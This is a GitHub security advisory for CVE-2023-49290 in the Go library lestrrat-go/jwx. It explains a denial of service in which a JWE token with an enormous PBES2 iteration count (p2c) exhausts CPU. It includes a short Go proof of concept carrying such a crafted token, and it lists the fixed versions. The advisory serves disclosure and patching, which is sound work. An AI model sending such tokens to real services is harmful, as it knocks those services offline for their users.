GHSA-7F9X-GW85-8GRF
Vulnerability from github – Published: 2023-12-05 23:29 – Updated: 2023-12-05 23:29Summary
too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack
Details
The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack
PoC
package main
import (
"fmt"
"github.com/lestrrat-go/jwx/v2/jwa"
"github.com/lestrrat-go/jwx/v2/jwe"
"github.com/lestrrat-go/jwx/v2/jwk"
)
func main() {
token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA")
key, err := jwk.FromRaw([]byte(`abcdefg`))
payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))
if err == nil {
fmt.Println(string(payload))
}
}
Impact
It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lestrrat-go/jwx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/lestrrat-go/jwx/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49290"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-05T23:29:26Z",
"nvd_published_at": "2023-12-05T00:15:09Z",
"severity": "MODERATE"
},
"details": "### Summary\ntoo high p2c parameter in JWE\u0027s alg PBES2-* could lead to a DOS attack\n\n### Details\nThe JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive.\nTherefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack\n\n### PoC\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/lestrrat-go/jwx/v2/jwa\"\n\t\"github.com/lestrrat-go/jwx/v2/jwe\"\n\t\"github.com/lestrrat-go/jwx/v2/jwk\"\n)\n\nfunc main() {\n\ttoken := []byte(\"eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA\")\n\tkey, err := jwk.FromRaw([]byte(`abcdefg`))\n\tpayload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))\n\tif err == nil {\n\t\tfmt.Println(string(payload))\n\t}\n}\n\n```\n\n### Impact\nIt\u0027s a kind of Dos attack, the user\u0027s environment could potentially utilize an excessive amount of CPU resources.\n",
"id": "GHSA-7f9x-gw85-8grf",
"modified": "2023-12-05T23:29:26Z",
"published": "2023-12-05T23:29:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lestrrat-go/jwx/security/advisories/GHSA-7f9x-gw85-8grf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49290"
},
{
"type": "WEB",
"url": "https://github.com/lestrrat-go/jwx/commit/64f2a229b8e18605f47361d292b526bdc4aee01c"
},
{
"type": "PACKAGE",
"url": "https://github.com/lestrrat-go/jwx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "lestrrat-go/jwx\u0027s malicious parameters in JWE can cause a DOS"
}
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